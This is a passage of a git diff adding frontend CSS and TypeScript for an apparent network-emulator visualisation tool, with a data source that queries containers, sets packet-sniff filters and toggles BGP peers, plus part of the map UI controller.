inherit; + border: 1px black solid; + border-radius: 2px; +} + +p.card-text { + height: 2.4em; + line-height: 1.2em; + overflow: hidden; + text-overflow: ellipsis; + display: -webkit-box; + -webkit-line-clamp: 2; + -webkit-box-orient: vertical; +} + +img.bd-placeholder-img { + border-bottom: 1px black solid; +} \ No newline at end of file diff --git a/tools/InternetMap/frontend/src/index/index.ts b/tools/InternetMap/frontend/src/index/index.ts new file mode 100644 index 000000000..d2746d9c7 --- /dev/null +++ b/tools/InternetMap/frontend/src/index/index.ts @@ -0,0 +1,11 @@ +import './css/index.css'; +import '../common/css/window-manager.css'; +import 'bootstrap/dist/css/bootstrap.min.css'; +import 'datatables.net-bs4/css/dataTables.bootstrap4.min.css' +import 'datatables.net-select-bs4/css/select.bootstrap4.min.css' + +import 'bootstrap'; +import 'datatables.net'; +import 'datatables.net-bs4'; +import 'datatables.net-select'; +import 'datatables.net-select-bs4'; \ No newline at end of file diff --git a/tools/InternetMap/frontend/src/map/css/map.css b/tools/InternetMap/frontend/src/map/css/map.css new file mode 100644 index 000000000..bedce50d5 --- /dev/null +++ b/tools/InternetMap/frontend/src/map/css/map.css @@ -0,0 +1,270 @@ +*, *:before, *:after { + box-sizing: border-box; +} + +body, h1, h2, h3, h4, h5, h6, p, ol, ul { + margin: 0; + padding: 0; +} + +html, body, .map-area, .map { + height: 100%; + width: 100vw; + overflow: hidden; + position: relative; + line-height: initial; +} + +.clickable { + cursor: pointer; +} + +.panel { + position: absolute; + opacity: 85%; +} + +.panel .panel-title { + font-family: 'Courier New', Courier, monospace; + padding: 5px 5px 3px 5px; + background-color: #333; + display: inline-block; + color: #ddd; + line-height: .8em; + font-weight: bold; +} + +.panel .panel-title.inactive { + background-color: #999; +} + +.wrap { + border: 2px #333 solid; + background-color: #fff; + width: 100%; +} + +.filter-panel { + top: 10px; + left: 10px; + width: calc(100vw - 20px); + z-index: 10; +} + +.filter { + outline: none; + font-size: 1.3em; + line-height: 2.4rem; + width: 95%; + border: none; + padding-left: 1rem; + padding-right: 1rem; + font-family: 'Courier New', Courier, monospace; +} + +.filter-panel .suggestions { + font-family: monospace; + font-size: 1.5rem; + padding: 5px; + border-left: 2px solid #ccc; + border-right: 2px solid #ccc; + border-bottom: 2px solid #ccc; + overflow-y: scroll; + max-height: 250px; + background-color: #fff; +} + +.filter-panel .suggestions:empty { + display: none; +} + +.filter-panel .suggestions .suggestion { + line-height: 2rem; + padding-left: .5em; + padding-right: .5em; + cursor: pointer; +} + +.filter-panel .suggestions .suggestion .name { + font-weight: bold; + padding-right: .5em; +} + +.filter-panel .suggestions .suggestion .details { + color: #666; + font-size: .8em; +} + +.filter-panel .suggestions .suggestion.active { + background-color: #ccc; +} + +.filter-panel .suggestions .suggestion:hover:not(.active) { + background-color: #eee; +} + +.log-panel { + font-family: 'Courier New', Courier, monospace; + bottom: 10px; + left: 10px; + width: calc(100vw - 20px); +} + +.log-panel.bump { + bottom: 35px; +} + +.log-wrap.minimized { + display: none; +} + +.setting-wrap { + padding: 0 2px; +} + +.setting-wrap.minimized { + display: none; +} + +.setting-panel { + top: 85px; + right: 10px; + width: 300px; +} + +.replay-panel { + top: 135px; + right: 10px; + width: 300px; + height: 133px; +} + +.replay-panel.bump { + top: 110px; +} + +.info-plate-panel { + font-family: 'Courier New', Courier, monospace; + top: 275px; + right: 10px; + min-width: 300px; +} + +.info-plate-panel.bump { + top: 250px; +} + +.info-plate, .replay-plate { + padding: .25em; + font-size: .85em; +} + +.replay-plate div { + margin-bottom: 5px; +} + +#replay-seek { + width: 100%; +} + +.info-plate .title { + font-size: 1.15rem; + font-weight: bold; + padding-left: .35em; + border-left: 5px solid #333; + margin-bottom: .25em; +} + +.info-plate .description { + margin-bottom: .25em; + margin-top: .5em; + max-width: 340px; +} + +.info-plate.loading .title { + border-left: 5px solid #999; +} + +.info-plate .section .title { + font-size: 1rem; + border-left: none; + margin-bottom: 0; + padding-left: 0; +} + +.info-plate .label { + font-weight: bold; +} + +.info-plate .inline-action-link { + padding-left: .5em; +} + +.info-plate .action-link { + display: block; +} + +.info-plate .label:after { + content: ':'; + padding-right: .5em; +} + +.info-plate .section { + margin-top: .8em; +} + +.info-plate .caption { + color: #666; +} + +.info-plate.loading, +.info-plate.loading a, +.info-plate.loading a:visited, +.info-plate.loading a:hover { + background-color: #ddd !important; + color: #999 !important; +} + +.log { + width: 100%; + max-height: 180px; + overflow-y: scroll; +} + +a, a:visited, a:hover { + color: #000 !important; /* overwrites bootstrap */ + text-decoration: underline !important; /* overwrites bootstrap */ +} + +label { + margin-bottom: 0 !important; /* overwrites bootstrap */ +} + +.log th { + background-color: #ccc; + text-align: left; + position: -webkit-sticky; + position: sticky; + top: 0; +} + +.log tr:hover { + background-color: #eee; +} + +.filter-wrap.error, .filter.error { + color: red; + border-color: red; +} + +.input-wrap.disabled, .input.disabled { + background-color: #ccc; +} + +#multiplier { + width: 200px; +} + +#current-multiplier::after { + content: 'x'; +} \ No newline at end of file diff --git a/tools/InternetMap/frontend/src/map/datasource.ts b/tools/InternetMap/frontend/src/map/datasource.ts new file mode 100644 index 000000000..89745a1ab --- /dev/null +++ b/tools/InternetMap/frontend/src/map/datasource.ts @@ -0,0 +1,399 @@ +import {DataSet} from 'vis-data'; +import {EdgeOptions, NodeOptions} from 'vis-network'; +import {BgpPeer, EmulatorNetwork, EmulatorNode} from '../common/types'; + +export const META_CLASS = 'org.seedsecuritylabs.seedemu.meta.class'; + +export type DataEvent = 'packet' | 'dead' | 'vis'; + +export interface Vertex extends NodeOptions { + id: string; + label: string; + group?: string; + shape?: string; + type: 'node' | 'network'; + object: EmulatorNode | EmulatorNetwork; + collapsed: boolean, + custom?: string, +} + +export interface Edge extends EdgeOptions { + id?: undefined; + from: string; + to: string; + label?: string; +} + +export type NodesType = DataSet +export type EdgesType = DataSet + +export interface ApiRespond { + ok: boolean; + result: ResultType; +} + +export interface FilterRespond { + currentFilter: string; +} + +export class DataSource { + public services: Set; + private readonly _apiBase: string; + private _nodes: EmulatorNode[]; + private _nets: EmulatorNetwork[]; + + private readonly _wsProtocol: string; + private _socket: WebSocket; + private _socketVis: WebSocket; + + private _connected: boolean; + + private _packetEventHandler: (nodeId: string) => void; + private _errorHandler: (error: any) => void; + + private _visEventHandler: (params: any) => void; + + /** + * construct new data provider. + * + * @param apiBase api base url. + * @param wsProtocol websocket protocol (ws/wss), default to ws. + */ + constructor(apiBase: string, wsProtocol: string = 'ws') { + this._apiBase = apiBase; + this._wsProtocol = wsProtocol; + this.services = new Set(); + this._nodes = []; + this._nets = []; + this._connected = false; + } + + /** + * load data from api. + * + * @param method http method. + * @param url target url. + * @param body (optional) request body. + * @returns api respond object. + */ + private async _load(method: string, url: string, body: string = undefined): Promise> { + let xhr = new XMLHttpRequest(); + + xhr.open(method, url); + + if (method == 'POST') { + xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8'); + } + + return new Promise((resolve, reject) => { + xhr.onload = function () { + if (this.status != 200) { + reject({ + ok: false, + result: 'non-200 response from API.' + }); + + return; + } + + var res = JSON.parse(xhr.response); + + if (res.ok) { + resolve(res); + } else { + reject(res); + } + }; + + xhr.onerror = function () { + reject({ + ok: false, + result: 'xhr failed.' + }); + } + + xhr.send(body); + }) + } + + /** + * connect to api: start listening sniffer socket, load nodes/nets list. + * call again when connected to reload nodes/nets. + */ + async connect() { + this._nodes = (await this._load('GET', `${this._apiBase}/container`)).result; + this._nets = (await this._load('GET', `${this._apiBase}/network`)).result; + + if (this._connected) { + return; + } + + this._nets.forEach(net => { + net.meta.relation = {parent: new Set()} + if (META_CLASS in net['Labels'] && net['Labels'][META_CLASS] !== '') { + let services = JSON.parse(net['Labels'][META_CLASS]); + for (const service of services) { + this.services.add(service); + } + } + }) + this._nodes.forEach(node => { + node.meta.relation = {parent: new Set()}; + if (META_CLASS in node['Labels'] && node['Labels'][META_CLASS] !== '') { + let services = JSON.parse(node['Labels'][META_CLASS]); + for (const service of services) { + this.services.add(service); + } + } + }) + + this._socket = new WebSocket(`${this._wsProtocol}://${location.host}${this._apiBase}/sniff`); + this._socket.addEventListener('message', (ev) => { + let msg = ev.data.toString(); + + let object = JSON.parse(msg); + if (this._packetEventHandler) { + this._packetEventHandler(object); + } + }); + + this._socket.addEventListener('error', (ev) => { + if (this._errorHandler) { + this._errorHandler(ev); + } + }); + + this._socket.addEventListener('close', (ev) => { + if (this._errorHandler) { + this._errorHandler(ev); + } + }); + // vis set ws + this._socketVis = new WebSocket(`${this._wsProtocol}://${location.host}${this._apiBase}/container/vis/set`); + this._socketVis.addEventListener('message', (ev) => { + let msg = ev.data.toString(); + + let object = JSON.parse(msg); + if (this._visEventHandler) { + this._visEventHandler(object); + } + }); + + this._socketVis.addEventListener('error', (ev) => { + if (this._errorHandler) { + this._errorHandler(ev); + } + }); + + this._socketVis.addEventListener('close', (ev) => { + if (this._errorHandler) { + this._errorHandler(ev); + } + }); + + this._connected = true; + } + + /** + * disconnect sniff socket. + */ + disconnect() { + this._connected = false; + this._socket.close(); + this._socketVis.close(); + } + + getNodeInfoById(nodeId) { + return this._nodes.find(n => n.Id === nodeId); + } + + getNodeInfoByIP(ip) { + return this._nodes.find(node => { + const net = node.NetworkSettings.Networks; + for (const key of Object.keys(net)) { + if (net[key]['IPAddress'] === ip) { + return true + } + } + }); + } + + /** + * get current sniff filter expression. + * + * @returns filter expression. + */ + async getSniffFilter(): Promise { + return (await this._load('GET', `${this._apiBase}/sniff`)).result.currentFilter; + } + + /** + * set sniff filter expression. + * + * @param filter filter expression. + * @returns updated filter expression. + */ + async setSniffFilter(filter: string): Promise { + return (await this._load('POST', `${this._apiBase}/sniff`, JSON.stringify({filter}))).result.currentFilter; + } + + /** + * get list of bgp peers of the given node. + * + * @param node node id. must be node with router role. + * @returns list of peers. + */ + async getBgpPeers(node: string): Promise { + return (await this._load('GET', `${this._apiBase}/container/${node}/bgp`)).result; + } + + /** + * set bgp peer state. + * + * @param node node id. must be node with router role. + * @param peer peer name. + * @param up protocol state, true = up, false = down. + */ + async setBgpPeers(node: string, peer: string, up: boolean) { + await this._load('POST', `${this._apiBase}/container/${node}/bgp/${peer}`, JSON.stringify({status: up})); + } + + /** + * get network state of the given node. + * + * @param node node id. + * @returns true if up, false if down. + */ + async getNetworkStatus(node: string): Promise { + return (await this._load('GET', `${this._apiBase}/container/${node}/net`)).result; + } + + /** + * set network state of the given node. + * + * @param node node id. + * @param up true if up, false if down. + */ + async setNetworkStatus(node: string, up: boolean) { + await this._load('POST', `${this._apiBase}/container/${node}/net`, JSON.stringify({status: up})); + } + + /** + * event handler register. + * + * @param eventName event to listen. + * @param callback callback. + */ + on(eventName: DataEvent, callback?: (data: any) => void) { + switch (eventName) { + case 'packet': + this._packetEventHandler = callback; + break; + case 'dead': + this._errorHandler = callback; + break + case 'vis': + this._visEventHandler = callback; + } + } + + get edges(): Edge[] { + var edges: Edge[] = []; + + this._nodes.forEach(node => { + let nets = node.NetworkSettings.Networks; + Object.keys(nets).forEach(key => { + let net = nets[key]; + var label = ''; + + node.meta.emulatorInfo.nets.forEach(emunet => { + // fixme + if (key.includes(emunet.name)) { + label = emunet.address; + } + }); + + edges.push({ + from: node.Id, + to: net.NetworkID, + label + }); + + const nodeInfo = node.meta.emulatorInfo; + if (['Router', 'BorderRouter'].includes(nodeInfo.role)) { + for (const item of this._nets) { + if (item.Id === net.NetworkID) { + if (item.meta.emulatorInfo.type === 'global') { + node.meta.relation.parent.add(item.Id); + } else { + item.meta.relation.parent.add(node.Id); + } + break; + } + } + } else { + node.meta.relation.parent.add(net.NetworkID); + } + }) + }) + + return edges; + } + + get vertices(): Vertex[] { + var vertices: Vertex[] = []; + + this._nets.forEach(net => { + var netInfo = net.meta.emulatorInfo; + var vertex: Vertex = { + id: net.Id, + label: netInfo.displayname ?? `${netInfo.scope}/${netInfo.name}`, + type: 'network', + shape: netInfo.type == 'global' ? 'star' : 'diamond', + object: net, + collapsed: false, + }; + + if (netInfo.type == 'local') { + vertex.group = netInfo.scope; + } + + vertices.push(vertex); + }); + + this._nodes.forEach(node => { + var nodeInfo = node.meta.emulatorInfo; + var vertex: Vertex = { + id: node.Id, + label: nodeInfo.displayname ?? `${nodeInfo.asn}/${nodeInfo.name}`, + type: 'node', + shape: ['Router', 'BorderRouter'].includes(nodeInfo.role) ? 'dot' : 'hexagon', + object: node, + collapsed: false, + custom: node.meta.emulatorInfo.custom + }; + + if (nodeInfo.role != 'Route Server') { + vertex.group = nodeInfo.asn.toString(); + } + + vertices.push(vertex); + }); + + return vertices; + } + + get groups(): Set { + var groups = new Set(); + + this._nets.forEach(net => { + groups.add(net.meta.emulatorInfo.scope); + }); + + this._nodes.forEach(node => { + groups.add(node.meta.emulatorInfo.asn.toString()); + }) + + return groups; + } +} \ No newline at end of file diff --git a/tools/InternetMap/frontend/src/map/map.ts b/tools/InternetMap/frontend/src/map/map.ts new file mode 100644 index 000000000..0cb1b3c4e --- /dev/null +++ b/tools/InternetMap/frontend/src/map/map.ts @@ -0,0 +1,58 @@ +import './css/map.css'; +import '../common/css/window-manager.css'; +import 'bootstrap/dist/css/bootstrap.min.css'; + +import { DataSource } from './datasource'; +import { MapUi } from './ui'; +import { Configuration } from '../common/configuration'; + +const datasource = new DataSource(Configuration.ApiPath); +const mapUi = new MapUi({ + datasource, + mapElementId: 'map', + infoPlateElementId: 'info-plate', + infoPanelElementId: 'info-plate-panel', + filterCommitElementId: 'filter-commit', + filterInputElementId: 'filter', + filterWrapElementId: 'filter-wrap', + logPanelElementId: 'log-panel', + logBodyElementId: 'log-body', + logViewportElementId: 'log-viewport', + logWrapElementId: 'log-wrap', + logControls: { + autoscrollCheckboxElementId: 'log-autoscroll', + clearButtonElementId: 'log-clear', + disableCheckboxElementId: 'log-disable', + minimizeToggleElementId: 'log-panel-toggle', + minimizeChevronElementId: 'log-toggle-chevron' + }, + settingWrapElementId: 'setting-wrap', + settingControls: { + settingControlsElementId: 'setting-controls', + fixedCheckboxElementId: 'setting-fixed', + hideCheckboxElementId: 'setting-hidden', + minimizeToggleElementId: 'setting-panel-toggle', + }, + filterControls: { + filterModeTabElementId: 'tab-filter-mode', + nodeSearchModeTabElementId: 'tab-node-search-mode', + suggestionsElementId: 'filter-suggestions' + }, + replayPanelElementId: 'replay-panel', + replayControls: { + recordButtonElementId: 'replay-record', + replayButtonElementId: 'replay-replay', + stopButtonElementId: 'replay-stop', + forwardButtonElementId: 'replay-forward', + backwardButtonElementId: 'replay-backward', + seekBarElementId: 'replay-seek', + intervalElementId: 'replay-interval', + statusElementId: 'replay-status' + }, + windowManager: { + desktopElementId: 'console-area', + taskbarElementId: 'taskbar' + } +}); + +mapUi.start(); \ No newline at end of file diff --git a/tools/InternetMap/frontend/src/map/ui.ts b/tools/InternetMap/frontend/src/map/ui.ts new file mode 100644 index 000000000..a5f6404c1 --- /dev/null +++ b/tools/InternetMap/frontend/src/map/ui.ts @@ -0,0 +1,1969 @@ +import $ from 'jquery'; +import {DataSet} from 'vis-data'; +import {Network, NodeOptions} from 'vis-network'; +import {bpfCompletionTree} from '../common/bpf'; +import {Completion} from '../common/completion'; +import {EmulatorNetwork, EmulatorNode} from '../common/types'; +import {WindowManager} from '../common/window-manager'; +import {DataSource, NodesType, EdgesType, Vertex, META_CLASS} from './datasource'; + +declare global { + interface Window { + __ENV__: { + CONSOLE: string; + }; + } +} + +const CONSOLE = window.__ENV__.CONSOLE; + +/** + * map UI element bindings. + */ +export interface MapUiConfiguration { + datasource: DataSource, // data provider + mapElementId: string, // element id of the map + infoPlateElementId: string, // element id of the info plate + infoPanelElementId: string, // element id of the info panel + replayPanelElementId: string, // element id of the replay panel + filterCommitElementId: string, // element id of the commit filter/search text + filterInputElementId: string, // element id of the filter/search text input + filterWrapElementId: string, // element id of the filter/search text input wrapper + logBodyElementId: string, // element id of the log body (the tbody) + logPanelElementId: string, // element id of the log panel + logViewportElementId: string, // element id of the log viewport (the table wrapper w/ overflow scroll) + logWrapElementId: string, // element id of the log wrap (hidden when minimized) + logControls: { // controls for log + clearButtonElementId: string, // element id of log clear button + autoscrollCheckboxElementId: string, // element id of autoscroll checkbox + disableCheckboxElementId: string, // element id of log disable checkbox + minimizeToggleElementId: string, // element id of log minimize/unminimize toggle + minimizeChevronElementId: string // element id of the chevron icon of the log minimize/unminimize toggle + }, + settingWrapElementId: string, // element id of the log wrap (hidden when minimized) + settingControls: { // controls for log + settingControlsElementId: string, // element id of settingControls + fixedCheckboxElementId: string, // element id of autoscroll checkbox + hideCheckboxElementId: string, // element id of log disable checkbox + minimizeToggleElementId: string, // element id of log minimize/unminimize toggle + }, + filterControls: { // filter controls + filterModeTabElementId: string, // element id of tab for setting mode to filter + nodeSearchModeTabElementId: string, // element id of tab for setting mode to search + suggestionsElementId: string // element id of search suggestions + }, + replayControls: { // replay controls + recordButtonElementId: string, // element id of record button + replayButtonElementId: string, // element id of replay button + stopButtonElementId: string, // element id of stop button + backwardButtonElementId: string, // element id of backward button + forwardButtonElementId: string, // element id of forward button + seekBarElementId: string, // element id of seek bar + intervalElementId: string, // element id of interval input + statusElementId: string // element id of status + }, + windowManager: { // console window manager + desktopElementId: string, // elementid for desktop + taskbarElementId: string // elementid for taskbar + } +} + +type FilterMode = 'node-search' | 'filter'; + +type SuggestionSelectionAction = 'up' | 'down' | 'clear'; + +const serviceColors = ["black", "blue", "green", "red", "yellow", "orange"] + +interface Event { + lines: string[], + source: string +}; + +interface PlaylistItem { + nodes: string[], + at: number +}; + +const count = 10; + +const staticDefault = {borderWidth: 1} +const dynamicDefault = {borderWidth: 4} +const arrowStop = { + to: {enabled: false}, + from: {enabled: false} +}; +const arrowTo = { + to: {enabled: true}, + from: {enabled: false} +}; + +const arrowFrom = { + to: {enabled: false}, + from: {enabled: true} +}; + +const arrowBothWay = { + to: {enabled: true}, + from: {enabled: true} +}; + +const extractRequestMacAddresses = (text: string): string[] => { + const regex = /(?:In|Out)\s+([0-9A-Fa-f]{2}(?:[:-][0-9A-Fa-f]{2}){5}).*?ICMP echo request/g; + const matches: string[] = []; + let match = []; + while ((match = regex.exec(text)) !== null) { + matches.push(match[1]); + } + return matches; +} + +const extractReplyMacAddresses = (text: string): string[] => { + const regex = /(?:In|Out)\s+([0-9A-Fa-f]{2}(?:[:-][0-9A-Fa-f]{2}){5}).*?ICMP echo reply/g; + const matches: string[] = []; + let match = []; + while ((match = regex.exec(text)) !== null) { + matches.push(match[1]); + } + return matches; +} + +/** + * map UI controller. + */ +export class MapUi { + private _mapElement: HTMLElement; + private _infoPlateElement: HTMLElement; + private _filterCommit: HTMLButtonElement; + private _filterInput: HTMLInputElement; + private _filterWrap: HTMLElement; + + private _settingWrap: HTMLElement; + private _settingControls: HTMLElement; + private _settingFixed: HTMLInputElement; + private _settingHide: HTMLInputElement; + + private _settingToggle: HTMLElement; + + private _replayPanel: HTMLElement; + private _infoPanel: HTMLElement; + + private _logPanel: HTMLElement; + private _logView: HTMLElement; + private _logWrap: HTMLElement; + private _logBody: HTMLElement; + private _logAutoscroll: HTMLInputElement; + private _logDisable: HTMLInputElement; + private _logClear: HTMLElement; + + private _filterModeTab: HTMLElement; + private _searchModeTab: HTMLElement; + private _suggestions: HTMLElement; + + private _logToggle: HTMLElement; + private _logToggleChevron: HTMLElement; + + private _replayButton: HTMLButtonElement; + private _recordButton: HTMLButtonElement; + private _forwardButton: HTMLButtonElement; + private _backwardButton: HTMLButtonElement; + private _stopButton: HTMLButtonElement; + private _replaySeekBar: HTMLInputElement; + private _interval: HTMLInputElement; + private _replayStatusText: HTMLElement; + + private _datasource: DataSource; + + private _nodes: NodesType; + private _edges: EdgesType; + private _graph: Network; + + /** list of log elements to be rendered to log body */ + private _logQueue: HTMLElement[]; + + /** set of vertex ids scheduled for flashing */ + private _flashQueue: Set; + /** set of vertex ids scheduled for un-flash */ + private _flashingNodes: Set; + + // vis + private _visSetQueue: Set; + private _flashVisQueue: Set; + private _flashingVisNodes: Set; + private _tFlashNodeMapping: { [key: string]: Set }; + private _visFlashNodeMapping: { [key: string]: Set }; + private _tVisFlashNodeMapping: { [key: string]: Set }; + private _visArrowMapping: { [key: string]: Set }; + private _tVisArrowMapping: { [key: string]: Set }; + + private _logPrinter: number; + private _flasher: number; + private _flasherVis: { [key: string]: number }; + + private _macMapping: { [mac: string]: string }; + private _macContainerIDMapping: { [mac: string]: string }; + + private _filterMode: FilterMode; + + /** set of vertex ids for nodes/nets currently being highlighted by search */ + private _searchHighlightNodes: Set; + + private _lastSearchTerm: string; + + /** window manager for consoles. */ + private _windowManager: WindowManager; + + /** completion provider for bpf expressions. */ + private _bpfCompletion: Completion; + + /** current (or last selected, if none is selected now) vertex. */ + private _curretNode: Vertex; + + /** current suggestion item selection. */ + private _suggestionsSelection: number; + + /** + * ignore next keyup event. (set to true when event is already handled in + * keydown.) + */ + private _ignoreKeyUp: boolean; + + private _logMinimized: boolean; + private _settingMinimized: boolean; + + private _events: Event[]; + private _playlist: PlaylistItem[]; + private _replayStatus: 'stopped' | 'playing' | 'paused'; + private _recording: boolean; + private _replayTask: number; + private _replayPos: number; + private _seeking: boolean; + + private _firstIntervalStartTime: number + private _intervalDefault: number + private _flashVisStyleMapping: { [key: string]: { [key: string]: number | NodeOptions } } + + /** + * Build a new map UI controller. + * + * @param config element bindings. + */ + constructor(config: MapUiConfiguration) { + this._datasource = config.datasource; + this._mapElement = document.getElementById(config.mapElementId); + this._infoPlateElement = document.getElementById(config.infoPlateElementId); + this._filterCommit = document.getElementById(config.filterCommitElementId) as HTMLButtonElement; + this._filterInput = document.getElementById(config.filterInputElementId) as HTMLInputElement; + this._filterWrap = document.getElementById(config.filterWrapElementId); + + this._settingWrap = document.getElementById(config.settingWrapElementId); + this._settingControls = document.getElementById(config.settingControls.settingControlsElementId); + this._settingFixed = document.getElementById(config.settingControls.fixedCheckboxElementId) as HTMLInputElement; + this._settingHide = document.getElementById(config.settingControls.hideCheckboxElementId) as HTMLInputElement; + this._settingToggle = document.getElementById(config.settingControls.minimizeToggleElementId); + + this._replayPanel = document.getElementById(config.replayPanelElementId); + this._infoPanel = document.getElementById(config.infoPanelElementId); + + this._logPanel = document.getElementById(config.logPanelElementId); + this._logView = document.getElementById(config.logViewportElementId); + this._logWrap = document.getElementById(config.logWrapElementId); + this._logBody = document.getElementById(config.logBodyElementId); + this._logAutoscroll = document.getElementById(config.logControls.autoscrollCheckboxElementId) as HTMLInputElement; + this._logDisable = document.getElementById(config.logControls.disableCheckboxElementId) as HTMLInputElement; + this._logClear = document.getElementById(config.logControls.clearButtonElementId); + + this._filterModeTab = document.getElementById(config.filterControls.filterModeTabElementId); + this._searchModeTab = document.getElementById(config.filterControls.nodeSearchModeTabElementId); + this._suggestions = document.getElementById(config.filterControls.suggestionsElementId); + + this._logToggle = document.getElementById(config.logControls.minimizeToggleElementId); + this._logToggleChevron = document.getElementById(config.logControls.minimizeChevronElementId); + + this._replayButton = document.getElementById(config.replayControls.replayButtonElementId) as HTMLButtonElement; + this._recordButton = document.getElementById(config.replayControls.recordButtonElementId) as HTMLButtonElement; + this._stopButton = document.getElementById(config.replayControls.stopButtonElementId) as HTMLButtonElement; + this._forwardButton = document.getElementById(config.replayControls.forwardButtonElementId) as HTMLButtonElement; + this._backwardButton = document.getElementById(config.replayControls.backwardButtonElementId) as HTMLButtonElement; + this._replaySeekBar = document.getElementById(config.replayControls.seekBarElementId) as HTMLInputElement; + this._interval = document.getElementById(config.replayControls.intervalElementId) as HTMLInputElement; + this._replayStatusText = document.getElementById(config.replayControls.statusElementId); + + this._intervalDefault = 500; + this._flashVisStyleMapping = {}; + + this._logMinimized = true; + this._settingMinimized = true; + + this._replayStatus = 'stopped'; + this._events = []; + this._recording = false; + this._seeking = false; + this._playlist = []; + + this._suggestionsSelection = -1; + + this._logQueue = []; + + this._flashQueue = new Set(); + this._flashingNodes = new Set(); + this._flashVisQueue = new Set(); + this._flashingVisNodes = new Set(); + this._flasherVis = {}; + this._visSetQueue = new Set(); + this._tFlashNodeMapping = {src: new Set(), dst: new Set()}; + this._visFlashNodeMapping = {src: new Set(), dst: new Set()}; + this._tVisFlashNodeMapping = {src: new Set(), dst: new Set()}; + this._visArrowMapping = {to: new Set(), from: new Set(), both: new Set()}; + this._tVisArrowMapping = {to: new Set(), from: new Set(), both: new Set()}; + + this._searchHighlightNodes = new Set(); + + this._macMapping = {}; + this._macContainerIDMapping = {}; + + this._filterMode = 'filter'; + this._lastSearchTerm = ''; + + this._windowManager = new WindowManager(config.windowManager.desktopElementId, config.windowManager.taskbarElementId); + + this._bpfCompletion = new Completion(bpfCompletionTree); + + this._replayButton.onclick = () => { + this._replayPlayPause(); + }; + + this._stopButton.onclick = () => { + this._replayStop(); + }; + + this._recordButton.onclick = () => { + this._recordStartStop(); + }; + + this._forwardButton.onclick = () => { + this._replaySeek(1); + }; + + this._backwardButton.onclick = () => { + this._replaySeek(-1); + }; + + this._replaySeekBar.onchange = () => { + this._replaySeek(Number.parseInt(this._replaySeekBar.value), true); + }; + + this._replaySeekBar.onmousedown = () => { + this._seeking = true; + }; + + this._replaySeekBar.onmouseup = () => { + this._seeking = false; + }; + + this._logToggle.onclick = () => { + if (this._logMinimized) { + this._logWrap.classList.remove('minimized'); + this._logToggleChevron.className = 'bi bi-chevron-down'; + } else { + this._logWrap.classList.add('minimized'); + this._logToggleChevron.className = 'bi bi-chevron-up'; + } + + this._logMinimized = !this._logMinimized; + }; + + this._settingToggle.onclick = () => { + if (this._settingMinimized) { + this._settingWrap.classList.remove('minimized'); + const height = $(this._settingWrap).outerHeight(true); + const top1 = $(this._replayPanel).css('top'); + const top2 = $(this._infoPanel).css('top'); + $(this._replayPanel).css('top', `${parseFloat(top1) + height}px`); + $(this._infoPanel).css('top', `${parseFloat(top2) + height}px`); + } else { + const height = $(this._settingWrap).outerHeight(true); + const top1 = $(this._replayPanel).css('top'); + const top2 = $(this._infoPanel).css('top'); + $(this._replayPanel).css('top', `${parseFloat(top1) - height}px`); + $(this._infoPanel).css('top', `${parseFloat(top2) - height}px`); + this._settingWrap.classList.add('minimized'); + } + + this._settingMinimized = !this._settingMinimized; + }; + + this._filterInput.onkeydown = (event) => { + if (event.key == 'ArrowUp') { + this._moveSuggestionSelection('up'); + this._ignoreKeyUp = true; + + return false; + } + + if (event.key == 'ArrowDown') { + this._moveSuggestionSelection('down'); + this._ignoreKeyUp = true; + + return false; + } + + if (event.key == 'Tab' && this._suggestionsSelection == -1) { + this._ignoreKeyUp = true; + + if (this._suggestions.children.length > 0) { + (this._suggestions.children[0] as HTMLElement).click(); + } + + return false; + } + + if ((event.key == 'Enter' || event.key == 'Tab') && this._suggestionsSelection != -1) { + (this._suggestions.children[this._suggestionsSelection] as HTMLElement).click(); + this._ignoreKeyUp = true; + + return false; + } + + this._ignoreKeyUp = false; + }; + + this._filterInput.onkeyup = (event) => { + if (this._ignoreKeyUp) { + return; // fixme: preventDefault / stopPropagation does not work? + } + + this._filterUpdateHandler(event); + }; + + this._searchModeTab.onclick = () => { + this._setFilterMode('node-search'); + }; + + this._filterModeTab.onclick = () => { + this._setFilterMode('filter'); + }; + + this._logClear.onclick = () => { + this._logBody.innerText = ''; + this._events = []; + }; + + this._filterInput.onclick = () => { + this._updateFilterSuggestions(this._filterInput.value); + }; + + this._filterCommit.onclick = async () => { + let term = this._filterInput.value; + this._suggestions.innerText = ''; + + if (this._filterMode == 'filter') { + this._filterInput.value = await this._datasource.setSniffFilter(term); + } + + if (this._filterMode == 'node-search') { + let hits = new Set(); + this._lastSearchTerm = term; + + this._findNodes(term).forEach(node => hits.add(node.id)); + + this._updateSearchHighlights(hits); + } + }; + + this._settingFixed.onclick = () => { + let option = {physics: true} + if (this._settingFixed.checked) { + option = {physics: false} + } + this._graph.setOptions(option); + } + + this._windowManager.on('taskbarchanges', (shown: boolean) => { + if (shown) { + this._logPanel.classList.add('bump'); + } else { + this._logPanel.classList.remove('bump'); + } + }); + + this._datasource.on('dead', (error) => { + let restart = window.confirm('It seems like the backend for seedemu-client has crashed. You should refresh this page to get the connection to the backend re-established.\n\nRefreshing will close all console windows and redraw the map. Use "Ok" to refresh or "cancel" to stay on this page.'); + if (restart) { + window.location.reload(); + } + }); + + this._datasource.on('packet', (data) => { + // bad data? + if (!data.source || !data.data) { + return; + } + + // replaying? + if (this._replayStatus !== 'stopped') { + return; + } + + let flashed = new Set(); + + // find network with matching mac address and flash the network too. + // networks objects are never the source, as network cannot run + // tcpdump on its own. + Object.keys(this._macMapping).forEach(mac => { + if (data.data.includes(mac) && !flashed.has(mac)) { + flashed.add(mac); + let nodeId = this._macMapping[mac]; + + if (this._nodes.get(nodeId) === null) { + return; + } + this._flashQueue.add(nodeId); + } + }); + + let netNodeRequest = new Set(); + let netNodeReply = new Set(); + extractRequestMacAddresses(data.data).forEach(mac => { + netNodeRequest.add(this._macMapping[mac]); + }) + extractReplyMacAddresses(data.data).forEach(mac => { + netNodeReply.add(this._macMapping[mac]); + }) + const IPs = data.data.match(/([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}) > ([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}): ICMP echo request/); + const IPsReply = data.data.match(/([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}) > ([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}): ICMP echo reply/); + + // at least one mac address matching a net is found, flash the node. + // note: when no matching net is found, the "packet" may not be a + // packet, but output from tcpdump. + if (flashed.size > 0) { + const nodeId = data.source; + if (this._visSetQueue.has(nodeId)) { + 